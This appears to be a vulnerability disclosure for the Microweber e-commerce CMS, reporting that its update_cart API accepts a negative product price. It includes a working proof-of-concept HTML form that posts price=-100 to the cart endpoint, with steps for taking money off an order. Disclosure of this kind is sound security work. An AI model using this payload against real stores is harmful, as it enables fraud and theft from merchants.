✍️ Description

microweber is vulnerable to Business Logic error through negative product price.

🕵️‍♂️ Proof of Concept

HTML content:

<form id="form" action="http://localhost/api/update_cart" method="POST" >
  <input type="text" name="for" value="content">
  <input type="text" name="for_id" value="1">
  <input type="text" name="price" value="-100">
  <input type="submit"> 
</form>

1. Save the above content into an HTML file.
2. Access the app (localhost) and add a product to the cart.
3. Open the HTML file and click on submit button to take $100 off.

PoC video.

💥 Impact

It is possible to get all products for free.